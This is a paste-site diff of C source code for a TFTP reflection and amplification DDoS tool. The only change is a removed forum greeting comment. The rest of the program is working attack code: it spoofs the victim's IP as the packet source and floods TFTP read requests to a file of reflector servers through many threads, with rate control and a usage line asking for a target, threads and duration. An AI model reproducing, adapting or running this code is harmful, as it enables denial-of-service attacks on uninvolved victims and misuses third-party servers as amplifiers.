View difference between Paste ID: 357cw1qH and De6amhpb

 /* NEW TFTP DDoS AMPLIFICATION METHOD. */
-/* Greetz: HackForums.net */
+
-
+
 #include <unistd.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/socket.h>
 #include <netinet/ip.h>
 #include <netinet/udp.h>
 #include <arpa/inet.h>
 #define MAX_PACKET_SIZE 8192
 #define PHI 0x9e3779b9
 static uint32_t Q[4096], c = 362436;
 struct list
 {
 	struct sockaddr_in data;
 	struct list *next;
 	struct list *prev;
 };
 struct list *head;
 volatile int tehport;
 volatile int limiter;
 volatile unsigned int pps;
 volatile unsigned int sleeptime = 100;
 struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 void init_rand(uint32_t x)
 {
 	int i;
 	Q[0] = x;
 	Q[1] = x + PHI;
 	Q[2] = x + PHI + PHI;
 	for (i = 3; i < 4096; i++)
 	{
 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 	}
 }
 uint32_t rand_cmwc(void)
 {
 	uint64_t t, a = 18782LL;
 	static uint32_t i = 4095;
 	uint32_t x, r = 0xfffffffe;
 	i = (i + 1) & 4095;
 	t = a * Q[i] + c;
 	c = (t >> 32);
 	x = t + c;
 	if (x < c) {
 	x++;
 	c++;
 	}
 	return (Q[i] = r - x);
 }
 unsigned short csum (unsigned short *buf, int nwords)
 {
 	unsigned long sum = 0;
 	for (sum = 0; nwords > 0; nwords--)
 	sum += *buf++;
 	sum = (sum >> 16) + (sum & 0xffff);
 	sum += (sum >> 16);
 	return (unsigned short)(~sum);
 }
 void setup_ip_header(struct iphdr *iph)
 {
 	iph->ihl = 5;
 	iph->version = 4;
 	iph->tos = 0;
 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
 	iph->id = htonl(54321);
 	iph->frag_off = 0;
 	iph->ttl = MAXTTL;
 	iph->protocol = IPPROTO_UDP;
 	iph->check = 0;
 	iph->saddr = inet_addr("192.168.3.100");
 }
 void setup_udp_header(struct udphdr *udph)
 {
 	udph->source = htons(5678);
 	udph->dest = htons(69);
 	udph->check = 0;
 	memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00", 14);
 	udph->len=htons(sizeof(struct udphdr) + 14);
 }
 void *flood(void *par1)
 {
 	struct thread_data *td = (struct thread_data *)par1;
 	char datagram[MAX_PACKET_SIZE];
 	struct iphdr *iph = (struct iphdr *)datagram;
 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 	struct sockaddr_in sin = td->sin;
 	struct  list *list_node = td->list_node;
 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 	if(s < 0){
 	fprintf(stderr, "Could not open raw socket.\n");
 	exit(-1);
 	}
 	init_rand(time(NULL));
 	memset(datagram, 0, MAX_PACKET_SIZE);
 	setup_ip_header(iph);
 	setup_udp_header(udph);
 	udph->source = htons(rand() % 65535 - 1026);
 	iph->saddr = sin.sin_addr.s_addr;
 	iph->daddr = list_node->data.sin_addr.s_addr;
 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
 	int tmp = 1;
 	const int *val = &tmp;
 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
 	exit(-1);
 	}
 	init_rand(time(NULL));
 	register unsigned int i;
 	i = 0;
 	while(1){
 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
 		list_node = list_node->next;
 		iph->daddr = list_node->data.sin_addr.s_addr;
 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
 
 		pps++;
 		if(i >= limiter)
 		{
 			i = 0;
 			usleep(sleeptime);
 		}
 		i++;
 	}
 }
 int main(int argc, char *argv[ ])
 {
 	if(argc < 6){
 	fprintf(stderr, "Invalid parameters!\n");
 	fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
 		exit(-1);
 	}
 	srand(time(NULL));
 	int i = 0;
 	head = NULL;
 	fprintf(stdout, "Setting up sockets...\n");
 	int max_len = 128;
 	char *buffer = (char *) malloc(max_len);
 	buffer = memset(buffer, 0x00, max_len);
 	int num_threads = atoi(argv[4]);
 	int maxpps = atoi(argv[5]);
 	limiter = 0;
 	pps = 0;
 	int multiplier = 20;
 	FILE *list_fd = fopen(argv[3],  "r");
 	while (fgets(buffer, max_len, list_fd) != NULL) {
 		if ((buffer[strlen(buffer) - 1] == '\n') ||
 				(buffer[strlen(buffer) - 1] == '\r')) {
 			buffer[strlen(buffer) - 1] = 0x00;
 			if(head == NULL)
 			{
 				head = (struct list *)malloc(sizeof(struct list));
 				bzero(&head->data, sizeof(head->data));
 				head->data.sin_addr.s_addr=inet_addr(buffer);
 				head->next = head;
 				head->prev = head;
 			} else {
 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
 				memset(new_node, 0x00, sizeof(struct list));
 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
 				new_node->prev = head;
 				new_node->next = head->next;
 				head->next = new_node;
 			}
 			i++;
 		} else {
 			continue;
 		}
 	}
 	struct list *current = head->next;
 	pthread_t thread[num_threads];
 	struct sockaddr_in sin;
 	sin.sin_family = AF_INET;
 	sin.sin_addr.s_addr = inet_addr(argv[1]);
 	struct thread_data td[num_threads];
 	for(i = 0;i<num_threads;i++){
 		td[i].thread_id = i;
 		td[i].sin= sin;
 		td[i].list_node = current;
 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
 	}
 	fprintf(stdout, "Starting flood...\n");
 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
 	{
 		usleep((1000/multiplier)*1000);
 		if((pps*multiplier) > maxpps)
 		{
 			if(1 > limiter)
 			{
 				sleeptime+=100;
 			} else {
 				limiter--;
 			}
 		} else {
 			limiter++;
 			if(sleeptime > 25)
 			{
 				sleeptime-=25;
 			} else {
 				sleeptime = 0;
 			}
 		}
 		pps = 0;
 	}
 	return 0;
 }